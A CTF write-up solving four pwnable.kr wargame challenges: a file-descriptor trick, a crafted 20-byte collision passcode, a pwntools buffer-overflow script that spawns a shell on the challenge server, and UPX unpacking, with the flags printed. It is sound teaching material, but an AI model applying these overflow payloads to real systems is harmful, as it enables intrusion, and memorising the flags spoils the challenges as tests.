This post details my writeups for a few of the challenges at pwnable.kr – a wargame site for pwn challenges. As I make my way through the the other challenges I’ll periodically update this page with additional writeups. I may also work through the Nightmare course to get better at binary exploitation/reverse engineering as I’ve heard positive feedback about it.
fd:
Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)
Solution:
There are 3 files provided: the binary fd
, the source code fd.c
and a flag file flag
.
Attempting to cat
out the flag results in a Permission denied
error due to a lack of permissions on the file. Therefore, we need to work with the fd
binary. The source code, fd.c
:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
So, we need to pass a number as argv[1]
, which will be converted to an integer using the atoi
function. The program then subtracts 0x1234
from this integer to get the file descriptor fd
. It reads up to 32 bytes from fd
into the buffer buf
. If the content of buf
is equal to LETMEWIN\n
, the program will print the flag.
In Unix operating systems, the standard file descriptors are: 0,1,2 for stdin, stdout, and stderr respectively.
If we manage to set the file descriptor to 0 (standard input), we can then type in the LETMEWIN\n
string. 0x1234
is 4660 in decimal.
Passing 4660 in decimal sets fd
to 0 and causes the read(fd, buf, 32);
line to read from standard input. Entering LETMEWIN
succesfully returns the flag as !strcmp("LETMEWIN\n", buf)
checks to see whether the provided input is equal to the string.
Flag:
mommy! I think I know what a file descriptor is!!
collision:
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
Solution:
Once again, there are three files provided: col
, col.c
, and flag
. The souce code, col.c
:
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
Based on the code we learn that to get the flag, we need to provide a specific 20-byte passcode such that the check_password
function returns the hashcode value 0x21DD09EC
.
- Providing
0x21DD09EC
or 568134124 (0x21DD09EC in decimal) as the passcode obviously won’t work as it is not 20 bytes. - Providing something like
'AAAAABBBBBCCCCCDDDDD'
also won’t work as although 20 bytes, is not the intended passcode.
Therefore, we need to better understand the check_password
function which is the main part of the program:
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
- The input
p
is cast to anint*
, meaning the function treats the input stringp
as an array of integers. - Each
int
is 4 bytes, so the function will read 5 integers from the 20-byte string (5 * 4 = 20). - The function sums up these 5 integers and returns the result.
So, we need to supply an input which will produce a valid passcode that meets the required conditions. The goal is for this sum to equal the target hashcode 0x21DD09EC (568134124 in decimal).
Calculation:
Divide the target hashcode by 5:
568134124/5 = 113626824
Multiply the base integer by 4:
4 * 113626824 = 454507296
Subtract this from the target to find the fifth integer:
568134124 - 454507296 = 113626828
The integers are 113626824 repeated four times and 113626828 once – which we can use to craft the passcode. In hexadecimal these are:
113626824 -> 6c5cec8
113626828 -> 6c5cecc
These hexadecimal values represent the bytes that need to be packed into the passcode. In little-endian format, these are \xc8\xce\xc5\x06
and \xcc\xce\xc5\x06
.
You might be wondering why we divided by 5 and then calculated the fifth integer separately. This is due to the division of the target hashcode by 5. When we divide 568134124 by 5, we get a non-integer result: 113626824.8. This is not a whole number and integers must be whole numbers. If we use four equal integers and one different integer, we can calculate the total sum to match the target hashcode exactly.
We can use Python to add them up into a string to pass in:
python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'
Using that as input to col
:
Flag:
daddy! I just managed to create a hash collision :)
bof:
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Solution:
As the name of the challenge suggests, we are going to be exploiting a buffer overflow. The source code of the binary bof
, bof.c
:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
The vulnerability exists where gets(overflowme)
is used as gets
does not perform bounds checking. This means that if we input more than 32 characters, it will overflow the overflowme
buffer and overwrite adjacent memory. From the code we can see that if the value of key
is 0xcafebabe
, it calls system("/bin/sh")
to open a shell.
We start by using gdb
to disassemble the program:
We can see when func
is disassembled, the comparison for the value of key
happens at the cmp
instruction. So, we can set a breakpoint there using break *func+40
. We then run the program and input a bunch of ‘A’ characters.
We inspect the stack by issuing the x/50wx $esp
command to show 50 words (200 bytes) from the stack pointer ($esp
).
From the output, we can see 0xdeadbeef
which is what we want to overwrite, and our input of ‘A’s (0x41
in hex). To determine the offset, the exact amount of ‘A’s we require is the distance from the start of overflowme
to the key
. We do this by counting the byte sequence from the start of the overflowme
buffer to the key
variable in the stack dump. When we previously ran the program, we inputted 48 ‘A’s. Notice that when we inspect the stack, there is only a 4-byte block of memory remaining until we reach 0xdeadbeef
. Therefore, an additional 4 ‘A’s would allow us to reach the key
variable – so 52 bytes in total are needed to overflow the buffer.
We write a script using pwntools
for the exploit:
from pwn import *
payload = b'A'*52+p32(0xcafebabe) # the payload with 52 'A's followed by the little-endian representation of 0xcafebabe
r = remote('pwnable.kr',9000)
r.sendline(payload)
r.interactive()
We run this and successfully get a shell on the machine which allows us to cat
out the flag:
Flag:
daddy, I just pwned a buFFer :)
flag:
Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
Solution:
For this challenge we are given one file named flag
. Attempting to run it will return a Permission denied
error as it is not an executable yet. We give it permissions and attempt to run it:
If we take a look at the binary we can see that it has no section header:
I initially thought of using gdb
to try and disassemble the program but that did not go anywhere as there was no symbol table or debugging information.
I then used strings
to parse through the file, which at first returned illegible/garbled output until I came across the following line:
So, we learn that the file is packed with the UPX executable packer. A packed file is simply a file in a compressed format. However, packing is also a common obfuscation technique used by malware authors to hide their malicious code and evade detection. As the specific packer for this file is known, we can download UPX to unpack it and reveal the actual content of the binary.
So, I proceeded to install upx
and ran upx -d
to unpack the file:
Running file flag
now shows that the file is not stripped:
Thus, the actual content of the binary should now be revealed and running strings
on the unpacked file returns a much more readable output.
Using gdb
to disassemble the program:
Notice the line with the comment written for the address of the flag, # 0x6c2070
. The flag contents are being copied into rdx
. We can issue the command x/s *0x6c2070
to dereference the pointer stored at the address and print the string located at the resulting address.
Using Ghidra:
Alternatively, we could have achieved this using Ghidra. Once the unpacked binary is loaded, going to the main function will present the following:
We have the listing window which shows the disassembled code of the binary, as well as the decompile window to the right which translates the assembly code into a pseudo C code. If you take a close look, the listing window already shows the flag, but ignoring that for a second, the decompile window shows the flag
variable being defined on line 9. When we click it we get:
These entries look like a reference to a string, we click on the reference to see what the string value is and obtain the same flag:
Flag:
UPX...? sounds like a delivery service :)